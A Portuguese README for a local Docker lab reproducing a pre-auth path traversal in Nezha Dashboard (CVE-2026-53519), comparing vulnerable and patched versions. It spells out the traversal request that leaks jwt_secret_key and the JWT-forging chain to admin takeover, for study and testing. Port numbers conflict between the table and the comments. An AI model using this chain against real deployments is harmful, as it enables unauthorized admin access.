
Docker lab reproduzindo CVE-2026-53519, uma path traversal pré-autenticação no Nezha Dashboard que vaza jwt_secret_key e permite falsificação de JWT e tomada de controle de admin.
Lab reproduz a vulnerabilidade pre-auth path traversal via /dashboard.. prefix confusion no
Nezha Dashboard, levando ao vazamento de jwt_secret_key -> forjar JWT -> assumir privilégios de admin.
Ambiente Docker, separado A/B por versão para comparar vuln vs patched.
| Image | URL (loopback) | Resultado esperado | |
|---|---|---|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | vazar config.yaml, assumir admin |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | bloqueado (404) |
Ambos apenas fazem bind em 127.0.0.1, sem expor para a LAN. Login admin padrão: admin / admin.
python) - para fazer parse do sqlite.db vazado (com fallback se ausente)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check rápido
.\lab.ps1 validate
# 3. Cadeia completa de exploração no VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Controle no PATCHED (esperado: bloqueado)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (por que apenas esta variante vaza)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
Comandos de gerenciamento:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> vazar jwt_secret_key.
GET /dashboard../data/sqlite.db -> obter user id do admin (id=1).{user_id:"1", ip:"", exp:<future>} com o secret vazado -> Authorization: Bearer <token>
-> GET /api/v1/profile (autenticação) e GET /api/v1/user (endpoint apenas admin) -> admin takeover.Detalhes da root cause: veja analysis/ROOT_CAUSE.md e
analysis/vuln-vs-patch.diff.
Relatório completo: REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key fixo (deterministic)
seed/lab_canary.txt # canary para ilustrar file read
lab.ps1 / lab-common.ps1 # gerenciamento + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # cadeia completa de exploração
poc/negative-controls.ps1 # controle das variantes bloqueadas
poc/parse_users.py # parse sqlite.db vazado -> user id do admin
analysis/ROOT_CAUSE.md # análise + patch
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output de cada execução (leaked-config, token, userlist...)
Lab apenas para pesquisa/educação em ambiente local. O jwt_secret_key em seed/config.yaml
é um valor fictício, apenas para demonstração. Não use a image/versão vulnerável em produção.